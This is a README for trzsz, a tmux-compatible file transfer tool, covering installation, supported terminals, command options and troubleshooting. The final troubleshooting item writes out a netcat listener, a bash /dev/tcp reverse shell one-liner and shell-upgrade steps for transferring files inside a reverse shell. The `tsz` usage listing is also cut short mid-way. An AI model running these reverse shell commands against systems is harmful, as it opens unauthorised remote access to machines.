`trzsz` ( trz / tsz ) is a simple file transfer tools, similar to `lrzsz` ( rz / sz ), and compatible with `tmux`.

## How to use

1. Install `trzsz` ( trz / tsz ) on the server. [go](https://github.com/trzsz/trzsz-go), [py](https://github.com/trzsz/trzsz) and [js](https://github.com/trzsz/trzsz.js) versions are compatible with each other.

2. Use supported terminal on local. Use [trzsz-ssh ( tssh )](https://github.com/trzsz/trzsz-ssh) on local shell, or refer to `Supported Terminals` below.

3. Use the `trz` ( similar to `rz` ) to upload files, and use the `tsz` ( similar to `sz` ) to download files.

## Why to do

- Considering `laptop -> hostA -> hostB -> docker -> tmux`, using `scp` or `sftp` is inconvenience.

- In this case, `lrzsz` ( rz / sz ) is convenient to use, but unfortunately it's not compatible with `tmux`.

- `tmux` is not going to support rz / sz ( [906](https://github.com/tmux/tmux/issues/906), [1439](https://github.com/tmux/tmux/issues/1439) ), so `trzsz` ( trz / tsz ) was developed.

## Advantage

- Support **tmux**, including tmux normal mode, and tmux command mode integrated with iTerm2.
- Support **transfer directories**, `trz -d` to upload directories, `tsz -d xxx` to download xxx directories.
- Support **breakpoint resume**, `trz -y` or `tsz -y xxx` overwrite exiting files will auto resume from breakpoint.
- Support **Windows server**, not only can run on Windows client, but also can run on Windows ssh server.
- Support **native terminal**, does not require terminal to support, just use `trzsz ssh x.x.x.x` to login.
- Support **web terminal**, transfer files and directories between local and remote servers over the web.
- Support **drag to upload**, drag and drop files and directories to the terminal to upload to the remote server.
- Support **progress bar**, shows the current transferring file name, progress, size, speed, remaining time, etc.
- Better **interactive experience**, shows the transfer results or errors friendly, `ctrl + c` to stop gracefully.

## Installation

### On the server

- Install [the Go version](https://github.com/trzsz/trzsz-go) ( ⭐ Recommended )

  Please check the Go version installation guide: [https://trzsz.github.io/go](https://trzsz.github.io/go)

- Or install with Python3

  ```
  sudo python3 -m pip install --upgrade trzsz
  ```

- Or install with Python2

  ```
  sudo python2 -m pip install --upgrade trzsz
  ```

- Or install with Homebrew

  ```
  brew update
  brew install trzsz
  ```

- Or install with Node.js
  ```
  sudo npm install -g trzsz
  ```

&nbsp;&nbsp;Can be installed without `sudo`, just add the installation path ( e.g. `~/.local/bin` ) to the `PATH` environment.

### Supported Terminals

- [trzsz-ssh](https://trzsz.github.io/ssh) ( tssh ) -- simple ssh client with trzsz support ( ⭐ Recommended ).

- [iTerm2](https://iterm2.com/) -- check [the trzsz-iterm2 installation](https://trzsz.github.io/iterm2).

- [tabby](https://tabby.sh/) -- install the [tabby-trzsz](https://github.com/trzsz/tabby-trzsz) plugin.

- [electerm](https://electerm.github.io/electerm/) -- upgrade to `1.19.0` or higher.

- [ttyd](https://github.com/tsl0922/ttyd) -- upgrade to `1.7.3` or higher, and start with `-t enableTrzsz=true`, use `https` unless localhost.

- [trzsz-go](https://trzsz.github.io/go) -- supports all terminals that support a local shell.

- [trzsz.js](https://trzsz.github.io/js) -- making webshell in browser and electron terminal supports `trzsz`.

&nbsp;&nbsp;_Does your terminal supports `trzsz` as well? Please let me know. I would love to have it on the list._

## Trzsz Manual

#### `trz` upload files to the remote server

```
usage: trz [-h] [-v] [-q] [-y] [-b] [-e] [-d] [-B N] [-t N] [path]

Receive file(s), similar to rz and compatible with tmux.

positional arguments:
  path               path to save file(s). (default: current directory)

optional arguments:
  -h, --help         show this help message and exit
  -v, --version      show program's version number and exit
  -q, --quiet        quiet (hide progress bar)
  -y, --overwrite    yes, overwrite existing file(s)
  -b, --binary       binary transfer mode, faster for binary files
  -e, --escape       escape all known control characters
  -d, --directory    transfer directories and files
  -r, --recursive    transfer directories and files, same as -d
  -B N, --bufsize N  max buffer chunk size (1K<=N<=1G). (default: 10M)
  -t N, --timeout N  timeout ( N seconds ) for each buffer chunk.
                     N <= 0 means never timeout. (default: 20)
```

#### `tsz` download files from the remote server

```
usage: tsz [-h] [-v] [-q] [-y] [-b] [-e] [-d] [-B N] [-t N] file [file ...]

Send file(s), similar to sz and compatible with tmux.

positional arguments:
  file               file(s) to be sent

optional arguments:
  -h, --help         show this help message and exit
  -v, --version      show program's version number and exit
  -q, --quiet        quiet (hide progress bar)

                     N <= 0 means never timeout. (default: 20)
```

#### Trouble shooting

- If `tmux` is running on the local computer.

  - Option 1: Use `tmux -CC` integration with iTerm2, please refer to [iTerm2 tmux Integration](https://trzsz.github.io/tmuxcc).
  - Option 2: Install [trzsz-go](https://trzsz.github.io/go) on the local computer, use `trzsz ssh` to login after `tmux`.
  - Option 3: Install [trzsz-ssh](https://trzsz.github.io/ssh) on the local computer, use `tssh` to login after `tmux`.

- If `tmux` is running on the jump server.

  - Option 1: Use `tmux -CC` integration with iTerm2, please refer to [iTerm2 tmux Integration](https://trzsz.github.io/tmuxcc).
  - Option 2: Install [trzsz-go](https://trzsz.github.io/go) on the jump server, use `trzsz -r ssh` to login after `tmux`.
  - Option 3: Install [trzsz-ssh](https://trzsz.github.io/ssh) on the jump server, use `tssh` to login after `tmux`.

- If an error occurs, and `trzsz` is hanging up.

  - Press `control + c` to stop `trz` or `tsz` process on the server.
  - For iTerm2 users, press `command + option + shift + r` to stop [iTerm2 Coprocesses](https://iterm2.com/documentation-coprocesses.html).

- If `trz -b` binary upload fails, and login to server using `telnet` or `docker exec`.

  - Try to escape all known control characters, e.g., `trz -eb`.

- If `trz -b` or `tsz -b` binary transfer fails, and login to server using `expect`.

  - Try to `export LC_CTYPE=C` before the `expect` script. e.g.:
    ```
    #!/bin/sh
    export LC_CTYPE=C
    expect -c '
      spawn ssh xxx
      expect "xxx: "
      send "xxx\n"
      interact
    '
    ```

- If you want to upload and download using `trz / tsz` in a reverse shell, you need to follow these steps:

  - 1\. Use `tssh xxx` or `trzsz ssh xxx` to log in to the server.
  - 2\. Execute `nc -lnv 1337` on the server, and wait for the reverse shell connection.
  - 3\. Reverse connect to the server on the target, such as `bash -i >& /dev/tcp/192.168.0.1/1337 0>&1`.
  - 4\. Follow these steps in the reverse shell:
    - 4.1. Convert to an interactive shell, such as `python3 -c 'import pty; pty.spawn("/bin/bash")'`.
    - 4.2. Press `ctrl + z` to turn the reverse shell into background.
    - 4.3. Execute `stty raw -echo; fg` to disable the echo of the server, and return to the reverse shell.
    - 4.4. Press the Enter key, and the command line prompt will be displayed.
    - 4.5. Set the terminal environment variable `export TERM=xterm-256color` ( not necessary ).
    - 4.6. Check if there is a `TMUX` environment variable, clear it with `unset TMUX`.
    - 4.7. Now you can use `trz / tsz` to upload and download as normal.
  - 5\. After exiting the interactive shell, there will be no echo, type `exit` blindly to exit the reverse shell.
  - 6\. Type `reset` blindly on the server and press Enter to reset the default settings of the terminal.
